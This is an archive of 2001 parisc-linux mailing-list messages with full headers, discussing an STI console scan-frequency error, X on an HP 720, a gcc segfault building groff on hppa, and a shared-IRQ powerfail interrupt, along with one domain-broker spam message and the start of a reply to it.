> > > > But STI console semms broken:
> > > > A large banner with "INVALID SCAN FREQ." in the middle of the
> > screen
> > > and in
> > > > background something like parasitical tv reception (white line
> > > scanning
> > > > screen)... After some minutes it stop?
> > > > Thanks in advance for help,
> > > >         Joel
> > > >
> > > > -------------------------------------------------
> > > > This mail sent through Tiscalinet Webmail
> > (http://webmail.tiscali.be)
> > > >
> > > > _______________________________________________
> > > > parisc-linux mailing list
> > > > parisc-linux@lists.parisc-linux.org
> > > > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> > > >
> > > 
> > > -- 
> > >
> >
> ===============================================================================
> > > 
> > > Phil Anderson
> > > UNIX Systems Administrator
> > > andersop@neverland.ncssm.edu
> > > The_13th_Ewok@hotmail.com
> > > 
> > > "Go CRAZY? Don't mind if I do! Woowoowoowoo!" -Homer Simpson
> > > 
> > > 
> > > 
> > 
> > 
> > -------------------------------------------------
> > This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)
> > 
> 
> 
> -------------------------------------------------
> This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)
> 
> 


-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:20:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] X on 720
Date: Wed, 5 Dec 2001 17:52:49 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <20011205175249.C2918@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="7ZAtKRhVyVSsbBD2"
X-Trace: ger.gmane.org 1416620816 30929 80.91.229.3 (22 Nov 2014 01:46:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  5 08:52:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id CA596482C
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Dec 2001 08:52:39 -0700 (MST)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #6)
	id 16BeLZ-0003qQ-00
	for parisc-linux@lists.parisc-linux.org; Wed, 05 Dec 2001 17:52:33 +0200
Original-Received: (qmail 5746 invoked from network); 5 Dec 2001 15:52:30 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 5 Dec 2001 15:52:30 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 16BeLq-0000mx-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 05 Dec 2001 17:52:50 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.23i
X-Scanner: exiscan *16BeLZ-0003qQ-00*bX6GGmhUnn6* http://duncanthrax.net/exiscan/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13253

--7ZAtKRhVyVSsbBD2
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hello parisc-linux,

After reading about Joerg Hartmann's success with the graphics console,
I was wondering what was still required to make X run on my 720. I
really want to put my big ole 19" grayscale monitor to proper use. :-)

Regards,

Albert

--7ZAtKRhVyVSsbBD2
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE8DkLRDg+hOeRZtkMRAgUDAJ40zHrI+ItCnUS52v7lGa+990p8iACgla1E
DB/eWqGyfToPW4hD+PuaRUA=
=lhNX
-----END PGP SIGNATURE-----

--7ZAtKRhVyVSsbBD2--



From - Thu Nov 08 21:20:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: groff build on hppa
Date: Wed, 5 Dec 2001 15:59:19 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20011205155919.E7051@linuxcare.com>
References: <20011204134445.GA9231@riva.ucam.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620817 30932 80.91.229.3 (22 Nov 2014 01:46:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:57 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, parisc-linux@lists.parisc-linux.org
To: Colin Watson <cjwatson@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  5 08:59:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust100.bre.cable.ntl.com [213.107.176.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id E0D5F482C
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Dec 2001 08:59:01 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 8D401B00C; Wed,  5 Dec 2001 15:59:19 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20011204134445.GA9231@riva.ucam.org>; from cjwatson@debian.org on Tue, Dec 04, 2001 at 01:44:45PM +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13254

On Tue, Dec 04, 2001 at 01:44:45PM +0000, Colin Watson wrote:
> Hi,
> 
> Does anyone know what's up with the groff build on hppa? gcc has
> segfaulted on both 1.17.2-10 and 1.17.2-11, and I can reproduce this on
> paer. The function it dies on hasn't changed since earlier releases
> where hppa didn't have a problem.
> 
> Is there any workaround? I'd rather not have to change groff at this
> stage if I can avoid it.

Builds for me with -O1 rather than -O2 in debian/rules, if that is
any help.

Richard




From - Thu Nov 08 21:20:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.16-pa15 still POWERFAIL(was 2.4.16-pa12 Power failled)
Date: Wed, 5 Dec 2001 16:08:31 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <20011205160831.F7051@linuxcare.com>
References: <Pine.LNX.4.33.0112032239490.1252-100000@bob.ncssm.edu> <1007449260.3c0c74ac2b330@webmail.tiscalinet.be> <1007473422.3c0cd30eac487@webmail.tiscalinet.be> <1007547737.3c0df5599e8c9@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620817 30934 80.91.229.3 (22 Nov 2014 01:46:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  5 09:08:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust100.bre.cable.ntl.com [213.107.176.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id E2170482E
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Dec 2001 09:08:16 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 3B0E8B00C; Wed,  5 Dec 2001 16:08:31 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <1007547737.3c0df5599e8c9@webmail.tiscalinet.be>; from joel.soete@freebel.net on Wed, Dec 05, 2001 at 11:22:17AM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13255

On Wed, Dec 05, 2001 at 11:22:17AM +0100, joel.soete@freebel.net wrote:
> Hi all,
> 
> Just to report that the problem persit on my B180 (even thought that changes was
> made on sym53c8xx but I do know if its regarding this problem).

This is a bit of debug from my a500, 2.4.16-pa13

request_irq(66, 000000001037fd90, 0x0, IO-SAPIC00-L1, 000000001009bc58)
request_irq(66, 000000001037c590, 0x0, powerfail, 0000000000000000)
request_irq(129, 0000000010374ed0, 0x4000000, sym53c8xx, 000000001fe98000)
iosapic_interrupt(): irq 66 line 1 eoi fffffffffed30840, irq_num 129
POWERFAIL INTERRUPTION !

Don't claim to understand this, but it looks like "powerfail" has
requested the wrong irq?

Richard




From - Thu Nov 08 21:20:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: groff build on hppa
Date: Wed, 5 Dec 2001 08:19:39 -0800
Lines: 12
Approved: news@gmane.org
Message-ID: <20011205081939.O944@tausq.org>
References: <20011204134445.GA9231@riva.ucam.org> <20011205155919.E7051@linuxcare.com>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620817 30936 80.91.229.3 (22 Nov 2014 01:46:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:57 +0000 (UTC)
Cc: Colin Watson <cjwatson@debian.org>, debian-hppa@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  5 09:20:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 75612482E
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Dec 2001 09:20:01 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id sxfmjaaa for parisc-linux@lists.parisc-linux.org; Wed, 5 Dec 2001 09:14:48 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16Beln-0007kE-00; Wed, 05 Dec 2001 08:19:39 -0800
Content-Disposition: inline
In-Reply-To: <20011205155919.E7051@linuxcare.com>
User-Agent: Mutt/1.3.23i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13256

> Builds for me with -O1 rather than -O2 in debian/rules, if that is
> any help.

This is a known bug with the compiler... .building with
-fno-strength-reduce works around this bug.

randolph
-- 
Debian Developer <tausq@debian.org>
http://www.TauSq.org/



From - Thu Nov 08 21:20:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Colin Watson <cjwatson@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: groff build on hppa
Date: Wed, 5 Dec 2001 16:39:21 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20011205163920.GA24484@riva.ucam.org>
References: <20011204134445.GA9231@riva.ucam.org> <20011205155919.E7051@linuxcare.com> <20011205081939.O944@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620818 30942 80.91.229.3 (22 Nov 2014 01:46:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:58 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	debian-hppa@lists.debian.org, parisc-linux@lists.parisc-linux.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  5 09:40:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from carbon.btinternet.com (carbon.btinternet.com [194.73.73.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1D7B3601A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Dec 2001 09:40:09 -0700 (MST)
Original-Received: from host217-35-29-15.in-addr.btopenworld.com ([217.35.29.15] helo=arborlon.riva.ucam.org)
	by carbon.btinternet.com with esmtp (Exim 3.22 #8)
	id 16Bf5K-000108-00; Wed, 05 Dec 2001 16:39:50 +0000
Original-Received: from cjwatson by arborlon.riva.ucam.org with local (Exim 3.33 #1 (Debian))
	id 16Bf4r-0006NI-00; Wed, 05 Dec 2001 16:39:21 +0000
Content-Disposition: inline
In-Reply-To: <20011205081939.O944@tausq.org>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13257

On Wed, Dec 05, 2001 at 08:19:39AM -0800, Randolph Chung wrote:
> > Builds for me with -O1 rather than -O2 in debian/rules, if that is
> > any help.
> 
> This is a known bug with the compiler... .building with
> -fno-strength-reduce works around this bug.

So would there be objections to me doing a special build on hppa with
the CFLAGS/CXXFLAGS hacked, given that there are three days left, or do
I have to upload again?

-- 
Colin Watson                                  [cjwatson@flatline.org.uk]



From - Thu Nov 08 21:20:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "NAMEGIANT" <richard@namegiant.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA-ONLINE
Date: Tue, 4 Dec 2001 16:49:34 -0000
Lines: 41
Approved: news@gmane.org
Message-ID: <20011205164726.DA407601A@dsl2.external.hp.com>
Reply-To: "NAMEGIANT" <richard@namegiant.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620818 30944 80.91.229.3 (22 Nov 2014 01:46:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:58 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  5 09:47:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from murphys.services.quay.plus.net (unknown [212.159.14.225])
	by dsl2.external.hp.com (Postfix) with SMTP id DA407601A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Dec 2001 09:47:26 -0700 (MST)
Original-Received: (qmail 6029 invoked from network); 5 Dec 2001 16:46:58 -0000
Original-Received: from unknown (HELO namegiant.com) (212.56.93.50)
  by murphy.services.quay.plus.net with SMTP; 5 Dec 2001 16:46:58 -0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13258

Dear Sir/Madam


PA-ONLINE.COM $800



This is a valuable domain - there are only around 1000 2 - letter
combination "online" domains. Most sell over $1000

I am a domain name broker and have been tracking the domain name
PA-ONLINE.COM which expired and became available for a very short period.
I registered it immediately that it became available on behalf of a
client. However on contacting this client a short while ago to notify her
of this successful registration, she informed me that she will not be
proceeding with her venture. If you have an interest in acquiring this
domain, please contact me at your
earliest convenience. I will be contacting anyone who I feel may have an
interest and have
priced it for a quick sale.

All transactions are 100% secure and are transacted with the largest
e-commerce company on the net. The transfer process is extremely simple
and you can also be confident that with Namegiant.com, you are dealing
with a reputable company and will receive all the
assistance and support that you may require throughout any transfer
process - and beyond. 
 
If this email is of no interest, I apologise for this intrusion and can
assure you, you will not be mailed again. This is a one-off approach
because we felt this development could be of genuine interest to you and
your company. If it isn't, once again, please let me
convey our sincere apologies.
 
Kind regards,

Richard
Sales
Namegiant.com 



From - Thu Nov 08 21:20:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: groff build on hppa
Date: Wed, 5 Dec 2001 09:03:22 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <20011205090322.Q944@tausq.org>
References: <20011204134445.GA9231@riva.ucam.org> <20011205155919.E7051@linuxcare.com> <20011205081939.O944@tausq.org> <20011205163920.GA24484@riva.ucam.org>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620818 30948 80.91.229.3 (22 Nov 2014 01:46:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:58 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	debian-hppa@lists.debian.org, parisc-linux@lists.parisc-linux.org
To: Colin Watson <cjwatson@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  5 10:03:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 45A81482D
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Dec 2001 10:03:29 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id eigmjaaa for parisc-linux@lists.parisc-linux.org; Wed, 5 Dec 2001 09:58:18 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16BfS7-0007qK-00; Wed, 05 Dec 2001 09:03:23 -0800
Content-Disposition: inline
In-Reply-To: <20011205163920.GA24484@riva.ucam.org>
User-Agent: Mutt/1.3.23i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13259

> So would there be objections to me doing a special build on hppa with
> the CFLAGS/CXXFLAGS hacked, given that there are three days left, or do
> I have to upload again?

Please make the appropriate source changes and make another upload.
Source-hacks that don't end up in the archive are considered very bad
practice.

There's a possible patch to fix this problem. I'm verifying this with
upstream at the moment.

randolph
-- 
Debian Developer <tausq@debian.org>
http://www.TauSq.org/



From - Thu Nov 08 21:20:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.16-pa15 still POWERFAIL(was 2.4.16-pa12 Power failled)
Date: Wed, 05 Dec 2001 10:25:17 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <200112051725.KAA19039@puffin.external.hp.com>
References: <rhirst@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620819 30951 80.91.229.3 (22 Nov 2014 01:46:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  5 10:29:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id B7999482C
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Dec 2001 10:29:59 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA19039;
	Wed, 5 Dec 2001 10:25:17 -0700
In-Reply-To: Message from Richard Hirst <rhirst@linuxcare.com> 
   of "Wed, 05 Dec 2001 16:08:31 GMT." <20011205160831.F7051@linuxcare.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13260

Richard Hirst wrote:
> On Wed, Dec 05, 2001 at 11:22:17AM +0100, joel.soete@freebel.net wrote:
> This is a bit of debug from my a500, 2.4.16-pa13
> 
> request_irq(66, 000000001037fd90, 0x0, IO-SAPIC00-L1, 000000001009bc58)
> request_irq(66, 000000001037c590, 0x0, powerfail, 0000000000000000)
> request_irq(129, 0000000010374ed0, 0x4000000, sym53c8xx, 000000001fe98000)
> iosapic_interrupt(): irq 66 line 1 eoi fffffffffed30840, irq_num 129
> POWERFAIL INTERRUPTION !
> 
> Don't claim to understand this, but it looks like "powerfail" has
> requested the wrong irq?

Uhm. looks like a shared IRQ. that explains why I see it when
the lan is ifconfig'd instead. Does powerfail need an exclusive IRQ
in the CPU IRQ domain?

I never had the impression any of the HP9000 servers support
a soft-power switch. Many of the older servers did support "Host
powerfail" - but everything shipped since K-class does not.
I think we will need to figure out how to disable this for PAT boxes
and for DKR-class.

This reminds me:
   For PAT PDC boxes, we need to write a "PAT Event Handler"
which has exclusive IRQ on CPU EIRR bit 19 (numbered bass ackwards).
"we" means someone in HP. I don't think any of the documentation
for PAT has been published (or will be published anytime soon *sigh*).

grant



From - Thu Nov 08 21:20:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA-ONLINE
Date: Wed, 05 Dec 2001 10:32:05 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <200112051732.KAA19079@puffin.external.hp.com>
References: <richard@namegiant.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620819 30953 80.91.229.3 (22 Nov 2014 01:46:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "NAMEGIANT" <richard@namegiant.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  5 10:36:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
